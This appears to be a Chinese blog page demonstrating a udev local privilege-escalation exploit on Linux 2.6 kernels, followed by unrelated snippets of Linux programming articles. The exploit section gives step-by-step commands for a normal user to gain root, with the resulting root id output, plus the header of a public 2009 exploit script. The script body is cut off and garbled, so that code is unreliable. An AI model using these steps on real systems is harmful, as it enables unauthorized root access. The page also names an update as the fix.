Linux攻防之udev漏洞演示
此漏洞针对linux2.6内核，只要有普通用户权限，即可提升root权限，开始实验吧 1、复制以下代码，保存为udev.sh，并赋予可执行权限 2、#useradd test //新建一个普通用户 3、#su - test //切换至test用户 4、#ps -ef |grep udev //查看udev id root 474 1 0 Apr09 ? 00:00:00 /sbin/udevd -d 5、#sh udev.sh 473 //执行命令,udevd的id号减1，即473 6、sh-3.2# id uid=0(root) gid=0(root) groups=506(test) 此时test已经提升至root权限 如何修复漏洞，只要升级udev就行了 #yum update udev 附代码： #!/bin/sh # Linux 2.6 # bug found by Sebastian Krahmer # # lame sploit using LD technique # by kcope in 2009 # tested on debian-etch,ubuntu,gentoo # do a 'cat /proc/net/netlink' # and set the first arg to this # script to the pid of the netlink socket # (the pid is udevd_pid - 1 most of the time) # + sploit has to be UNIX formatted text :) # + if it doesn't work the 1st time try more often # # WARNING: maybe needs some FIXUP to work flawlessly ## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang cat > udev.c program.c suid.c
相关文档：
2009 年 4 月 23 日
本文中我们针对 Linux 上多线程编程的主要特性总结出 5 条经验，用以改善 Linux 多线程编程的习惯和避免其中的开发陷阱。在本文中，我们穿插一些 Windows 的编程用例用以对比 Linux 特性，以加深读者印象。
背景
Linux 平台上的多线程程序开发相对应其他平台（比如 Windows）的多线程 API 有一些细微 ......
linux有很多值得学习的地方，这里我们主要介绍linux库文件，经过搜集和整理linux库文件材料，在这里拿出来和大家分享一下，希望大家看后会有不少收获。
linux库文件在连接（静态库和共享库）和运行（仅限于使用共享库的程序）时被使用，其搜索路径是在系统中进行设置的。
一般 Linux 系统把 /lib 和 /usr/lib 两个目录作� ......
今天使用select编程，问题很多，以前真的没有仔细研究过。
出现了以下几个问题
1 recvfrom在接收时，提供给系统调用的最后一个参数，客户端的地址结构，其长度必须进行初始化，如果为0，则不能接收数据。
2 select的第一个参数为所有监视的文件描述符的最大值+1，而不是监视的文件描述符个数+1。
3 不要监视那些经常可� ......
1,基本操作
添加用户
useradd
删除用户
userdel
变更密码
passwd username
查看执行中进程
ps aux
ps auxf
ps
l 长格式输出；
u 按用户名和启动时间的顺序来显示进程；
j 用任务格式来显示进程；
f 用树形格式来显示进程；
......
对于动态链接库和静态链接库的概念以及链接方式不再累赘。直接开始上代码和进行编译。-__-||。
代码很简单，横竖就三个当家的。
库头文件corey.hpp:
#ifndef LIBRARY_H
#define LIBRARY_H
void add(int,int,int*);
#endif
库实现文件corey.cpp
#include "corey.hpp"
void add(int a,int b,int *c){
int total=a ......
